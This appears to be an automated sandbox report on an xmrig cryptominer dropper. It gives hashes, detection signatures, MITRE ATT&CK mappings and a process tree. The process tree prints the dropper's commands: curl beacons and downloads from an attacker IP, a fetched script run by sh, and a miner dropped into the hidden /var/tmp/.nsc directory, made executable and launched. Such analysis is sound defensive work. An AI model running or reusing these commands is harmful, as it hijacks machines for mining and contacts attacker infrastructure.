xmrig | 1b8ea6555bf4bcd8992365fa6177fdce1fe30950c9fa4f3ed26e23fadf8409fd

Analysis

max time kernel
7s
max time network
10s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
02/10/2026, 18:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
s
Size 402B
Sample261002-w3dn3afg22
SHA256 1b8ea6555bf4bcd8992365fa6177fdce1fe30950c9fa4f3ed26e23fadf8409fd
MD5 870fea7e93e2183e85ff04ee3c918393
SHA1 a386c4b90cdd08f91296426f559c52449ac15431
SHA512 978785d1190dca7ec3c747e339f0a3aba5de421fae9e8be7cf1f86ce9b4a0c8dd210ce0ff6546916787f353695ee88892c62ce1d84ff5469fc279a6eccd1be8b
TLSH
T16FE0ABEE6070C0773B485004DB8A1B365882DAAA1CF00631CA96E92D51C80993FC7211
MD5 SHA1 SHA512 TLSH

Score

10^/10

antivm defense_evasion discovery xmrig miner

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xmrig
behavioral2/files/fstream-1.dat	xmrig

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
739	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/var/tmp/.nsc/sysmond	749	sh

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 7 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 2 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	sysctl
File opened for reading	/sys/devices/system/cpu/online	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/25/stat	ps
File opened for reading	/proc/27/status	ps
File opened for reading	/proc/108/cmdline	ps
File opened for reading	/proc/297/cmdline	ps
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/223/stat	ps
File opened for reading	/proc/297/stat	ps
File opened for reading	/proc/319/stat	ps
File opened for reading	/proc/658/stat	ps
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	id
File opened for reading	/proc/12/stat	ps
File opened for reading	/proc/140/status	ps
File opened for reading	/proc/317/cmdline	ps
File opened for reading	/proc/692/cmdline	ps
File opened for reading	/proc/3/cmdline	ps
File opened for reading	/proc/299/cmdline	ps
File opened for reading	/proc/13/status	ps
File opened for reading	/proc/29/stat	ps
File opened for reading	/proc/640/cmdline	ps
File opened for reading	/proc/695/stat	ps
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/3/status	ps
File opened for reading	/proc/21/stat	ps
File opened for reading	/proc/43/stat	ps
File opened for reading	/proc/76/stat	ps
File opened for reading	/proc/sys/kernel/osrelease	ps
File opened for reading	/proc/337/stat	ps
File opened for reading	/proc/650/cmdline	ps
File opened for reading	/proc/658/status	ps
File opened for reading	/proc/168/stat	ps
File opened for reading	/proc/223/cmdline	ps
File opened for reading	/proc/590/cmdline	ps
File opened for reading	/proc/20/status	ps
File opened for reading	/proc/636/status	ps
File opened for reading	/proc/641/status	ps
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/1/stat	ps
File opened for reading	/proc/9/cmdline	ps
File opened for reading	/proc/11/cmdline	ps
File opened for reading	/proc/25/status	ps
File opened for reading	/proc/168/cmdline	ps
File opened for reading	/proc/297/status	ps
File opened for reading	/proc/580/cmdline	ps
File opened for reading	/proc/13/stat	ps
File opened for reading	/proc/23/stat	ps
File opened for reading	/proc/24/status	ps
File opened for reading	/proc/28/stat	ps
File opened for reading	/proc/644/cmdline	ps
File opened for reading	/proc/692/stat	ps
File opened for reading	/proc/1/cmdline	ps
File opened for reading	/proc/12/status	ps
File opened for reading	/proc/11/status	ps
File opened for reading	/proc/317/stat	ps
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/5/cmdline	ps
File opened for reading	/proc/26/status	ps
File opened for reading	/proc/279/stat	ps
File opened for reading	/proc/293/cmdline	ps
File opened for reading	/proc/319/cmdline	ps
File opened for reading	/proc/676/stat	ps
File opened for reading	/proc/695/cmdline	ps
File opened for reading	/proc/42/stat	ps
File opened for reading	/proc/185/stat	ps

/tmp/s
/tmp/s
1⤵
PID:644
- /bin/hostname
  hostname
  2⤵
  PID:646
- /usr/bin/cut
  cut -c1-20
  2⤵
  PID:648
- /usr/bin/tr
  tr -cd A-Za-z0-9._-
  2⤵
  PID:647
- /usr/bin/curl
  curl -sk -m 15 "http://177.4.12.11:8080/s?ev=boot&v=x&h=debian9-armhf-202605"
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:651
- /usr/bin/curl
  curl -sk -m 120 http://177.4.12.11:8080/nsp2.sh
  2⤵
  - Checks CPU configuration
  PID:675
- /bin/sh
  sh
  2⤵
  - Executes dropped EXE
  PID:676
- - /bin/hostname
    hostname
    3⤵
    PID:677
- - /bin/uname
    uname -s
    3⤵
    PID:678
- - /bin/uname
    uname -m
    3⤵
    PID:679
- - /sbin/sysctl
    sysctl -n kern.osrelease
    3⤵
    - Reads CPU attributes
    PID:680
- - /usr/bin/id
    id -u
    3⤵
    - Reads runtime system information
    PID:681
- - /usr/bin/curl
    curl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxdebian9-armhf-202605&h=debian9-armhf-20260513-en-10&v=env_Linux_armv7l_osrel=_uid=0"
    3⤵
    - Checks CPU configuration
    PID:682
- - /bin/mkdir
    mkdir -p /var/tmp/.nsc
    3⤵
    - Reads runtime system information
    PID:687
- - /bin/mkdir
    mkdir -p /var/tmp/.nsc
    3⤵
    PID:689
- - /bin/mkdir
    mkdir -p /var/tmp/.nsc
    3⤵
    PID:691
- - /bin/grep
    grep -c "[s]ysmond"
    3⤵
    PID:695
- - /bin/ps
    ps -ax
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:694
- - /bin/rm
    rm -f sysmond
    3⤵
    PID:700
- - /usr/bin/curl
    curl -sk -m 300 -o sysmond http://177.4.12.11:8080/xmrig-fbsd11-raw
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:701
- - /usr/bin/tr
    tr -d " "
    3⤵
    PID:738
- - /usr/bin/wc
    wc -c
    3⤵
    PID:737
- - /bin/chmod
    chmod 755 sysmond
    3⤵
    - File and Directory Permissions Modification
    PID:739
- - /usr/bin/curl
    curl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxdebian9-armhf-202605&h=debian9-armhf-20260513-en-10&v=dl_sz=3620152"
    3⤵
    - Checks CPU configuration
    PID:740
- - /bin/sed
    sed "s/[^a-zA-Z0-9._-]/_/g"
    3⤵
    - Reads runtime system information
    PID:751
- - /bin/sed
    sed -n 1p
    3⤵
    PID:750
- - /var/tmp/.nsc/sysmond
    ./sysmond --version
    3⤵
    PID:749
- - /usr/bin/curl
    curl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxdebian9-armhf-202605&h=debian9-armhf-20260513-en-10&v=ver=sh__38__._sysmond__Exec_format_error"
    3⤵
    - Checks CPU configuration
    PID:753
- - /usr/bin/curl
    curl -sk -m 12 "http://177.4.12.11:8080/nsp2?t=vxdebian9-armhf-202605&h=debian9-armhf-20260513-en-10&v=exe_fail_rc=0"
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:772

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

sysmond

Path /var/tmp/.nsc/sysmond
Size 3.5MB
SHA256 9629553646ab51c36c18aa4cfbbb87a87fd9b87836b713089a3882082246b171
MD5 5eafa37cdf767f4a8f2c9801d57c45a1
SHA1 ee9f4f3cecd7d1949990cb46261bbabff20f142f
SHA512 86c557548aff44f07888852ef5c5ea7c31acffe538835490de43ecf426dd91ced71831bea336d55dc3a61e3a3f27ce460155ee420fabff7ab3aacc63afd70095
SSDEEP 49152:vNgMP3sOAFTzVv7bWRziCxCpn9ICnQtNK9zIhtc1+4nsG5RohMYb9F:ywCjbnCxCpPQtQIhtcc4n/oMYb9F
TLSH
T1AAF57C1AB261A47CD147C038579F55F2D6D8F0B5036A78FB1F87E6303A29CD25B28A36
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads